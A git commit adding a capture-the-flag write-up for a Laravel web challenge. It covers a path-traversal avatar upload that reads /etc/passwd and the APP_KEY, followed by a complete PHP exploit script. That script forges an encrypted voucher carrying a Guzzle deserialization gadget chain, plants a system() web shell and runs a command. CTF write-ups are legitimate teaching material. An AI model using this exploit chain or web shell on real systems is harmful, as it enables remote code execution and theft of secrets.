added writeups exported from ctfnote
This commit is contained in:
parent
77ed881028
commit
a37637a794
30 changed files with 1487 additions and 0 deletions
300
Vault-web.md
Normal file
300
Vault-web.md
Normal file
|
|
@ -0,0 +1,300 @@
|
|||
# Vault - web
|
||||
|
||||
## entrypoint.sh
|
||||
|
||||
|
||||
```shell
|
||||
...
|
||||
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
|
||||
...
|
||||
```
|
||||
|
||||
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
|
||||
|
||||
|
||||
## Compose
|
||||
|
||||
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
|
||||
|
||||
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
|
||||
This example assumes to be one directory level above the provided challenge files:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
vault:
|
||||
build:
|
||||
context: ./challenge
|
||||
dockerfile: Dockerfile
|
||||
ports:
|
||||
- "9090:80"
|
||||
container_name: vault
|
||||
restart: unless-stopped
|
||||
```
|
||||
|
||||
## LFI
|
||||
|
||||
|
||||
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
|
||||
|
||||
```php=69
|
||||
$name = $_FILES['avatar']['full_path'];
|
||||
$path = "/var/www/storage/app/public/avatars/$name";
|
||||
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||
|
||||
$user->avatar = $path;
|
||||
$user->save();
|
||||
```
|
||||
|
||||
|
||||
```php=69
|
||||
$name = $_FILES['avatar']['full_path'];
|
||||
```
|
||||
|
||||
is completely user supplied.
|
||||
https://www.php.net/manual/en/reserved.variables.files.php
|
||||
|
||||
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
|
||||
|
||||
```php=70
|
||||
$path = "/var/www/storage/app/public/avatars/$name";
|
||||
```
|
||||
No sanitizing here.
|
||||
|
||||
|
||||
```php=71
|
||||
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||
```
|
||||
|
||||
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
|
||||
|
||||
|
||||
```php=73
|
||||
$user->avatar = $path;
|
||||
$user->save();
|
||||
```
|
||||
|
||||
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
|
||||
|
||||
|
||||
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
|
||||
|
||||
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
|
||||
|
||||
|
||||
Sadly there is no GUI for the avatar upload.
|
||||
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
|
||||
|
||||
```php-template=26
|
||||
<div class="content-box" style="margin-bottom: 1rem;">
|
||||
<h2>Update Avatar</h2>
|
||||
<form method="post" action="/account/avatar" enctype="multipart/form-data">
|
||||
@csrf
|
||||
<label for="avatar">Avatar Image</label>
|
||||
<input id="avatar" name="avatar" type="file" accept="image/*">
|
||||
<input class="submit" type="submit" value="Upload Avatar">
|
||||
</form>
|
||||
|
||||
@if (session('avatar_error'))
|
||||
<div class="errors">
|
||||
<li>{{ session('avatar_error') }}</li>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
```
|
||||
|
||||
0. Rebuild the challenge
|
||||
1. upload a legitimate image file, sniff the http request
|
||||
2. manipulate and resend http request to change the full_path name
|
||||
|
||||
```http
|
||||
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
|
||||
```
|
||||
|
||||
3. read `/etc/passwd` from http://localhost:9090/avatar
|
||||
|
||||
|
||||
Further things that might be interesting:
|
||||
- php Application
|
||||
- Database
|
||||
- php sessions
|
||||
- log files?
|
||||
- ...?
|
||||
- system
|
||||
- environment variables?
|
||||
|
||||
|
||||
`/var/www/.env` contains
|
||||
|
||||
```
|
||||
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
|
||||
```
|
||||
|
||||
-> this should allow for creation and signing of things?
|
||||
- Voucher
|
||||
- Cookies
|
||||
- Sessions
|
||||
- ???
|
||||
|
||||
Probably even leading to insecure deserialisation??
|
||||
|
||||
|
||||
Even if the cookie signing itself should not be vulnerable,
|
||||
there is some custom decryption logic for the vouchers that might be vulnerable.
|
||||
|
||||
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
|
||||
|
||||
```php=37
|
||||
$voucher = encrypt([
|
||||
'amount' => $amount,
|
||||
'created_by' => $user->uuid,
|
||||
'created_at' => Carbon::now()
|
||||
]);
|
||||
```
|
||||
|
||||
```php=53
|
||||
$voucher = decrypt($data['voucher']);
|
||||
```
|
||||
|
||||
|
||||
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
|
||||
|
||||
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
|
||||
|
||||
The `VouchersController` does not use `$serialize=true`, will this work anyway?
|
||||
|
||||
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
|
||||
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
|
||||
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
|
||||
|
||||
Also had severa trouble with the tool, probably user error...
|
||||
|
||||
Guzzle is also available, maybe matching.
|
||||
|
||||
```
|
||||
'cipher' => 'AES-256-CBC',
|
||||
```
|
||||
|
||||
|
||||
After some discussion with copilot,
|
||||
it explained that there is need for a __descruct() call in combination with some other neccessary.
|
||||
|
||||
There is a guzzle CookieJar Class, that fits!
|
||||
|
||||
Copilot got tired (whatever problem, idk), so gemini created this script,
|
||||
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
|
||||
|
||||
But ctf was already over :(
|
||||
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
require __DIR__ . '/vendor/autoload.php';
|
||||
|
||||
use GuzzleHttp\Client;
|
||||
use GuzzleHttp\Cookie\CookieJar;
|
||||
use GuzzleHttp\Cookie\SetCookie;
|
||||
use GuzzleHttp\Cookie\FileCookieJar;
|
||||
|
||||
$baseUri = 'http://localhost:9090';
|
||||
|
||||
// The key used in VouchersController::redeem matches the APP_KEY in .env
|
||||
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
|
||||
|
||||
// The payload to execute
|
||||
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
|
||||
$payloadStr = '<?php system($_GET[1]); ?>';
|
||||
|
||||
$cookie = new SetCookie([
|
||||
'Name' => 'payload',
|
||||
'Value' => $payloadStr,
|
||||
'Domain' => 'example.com',
|
||||
'Path' => '/',
|
||||
'Max-Age' => null,
|
||||
'Expires' => null,
|
||||
'Secure' => false,
|
||||
'Discard' => false,
|
||||
'HttpOnly' => false,
|
||||
]);
|
||||
|
||||
// Gadget chain using FileCookieJar
|
||||
$filename = '/var/www/public/shell.php';
|
||||
$jarPayload = new FileCookieJar($filename, true);
|
||||
$jarPayload->setCookie($cookie);
|
||||
|
||||
$serialized = serialize($jarPayload);
|
||||
|
||||
$iv = random_bytes(16);
|
||||
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
|
||||
|
||||
$payloadArr = [
|
||||
'iv' => base64_encode($iv),
|
||||
'value' => $encrypted,
|
||||
'tag' => base64_encode('')
|
||||
];
|
||||
|
||||
$voucher = base64_encode(json_encode($payloadArr));
|
||||
echo "[+] Generated voucher payload.\n";
|
||||
|
||||
$jar = new CookieJar();
|
||||
$client = new Client([
|
||||
'base_uri' => $baseUri,
|
||||
'cookies' => $jar,
|
||||
'http_errors' => false
|
||||
]);
|
||||
|
||||
echo "[+] Fetching CSRF token...\n";
|
||||
$res = $client->get('/register');
|
||||
$html = (string) $res->getBody();
|
||||
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||
$csrfToken = $matches[1] ?? '';
|
||||
|
||||
$username = 'hacker' . rand(10000, 99999);
|
||||
$password = 'password123';
|
||||
|
||||
echo "[+] Registering user $username...\n";
|
||||
$res = $client->post('/register', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'username' => $username,
|
||||
'password' => $password,
|
||||
'password2' => $password
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Logging in...\n";
|
||||
$res = $client->post('/login', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'username' => $username,
|
||||
'password' => $password
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Fetching new CSRF token for voucher redemption...\n";
|
||||
$res = $client->get('/vouchers');
|
||||
$html = (string) $res->getBody();
|
||||
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
||||
$csrfToken = $matches[1] ?? '';
|
||||
|
||||
echo "[+] Redeeming malicious voucher...\n";
|
||||
$res = $client->post('/vouchers/redeem', [
|
||||
'form_params' => [
|
||||
'_token' => $csrfToken,
|
||||
'voucher' => $voucher
|
||||
]
|
||||
]);
|
||||
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
|
||||
|
||||
echo "[+] Triggering payload at /shell.php...\n";
|
||||
$res = $client->get('/shell.php', [
|
||||
'query' => [
|
||||
'1' => 'ls / > /tmp/ls.txt'
|
||||
]
|
||||
]);
|
||||
|
||||
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
|
||||
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
|
||||
|
||||
```
|
||||
Loading…
Add table
Add a link
Reference in a new issue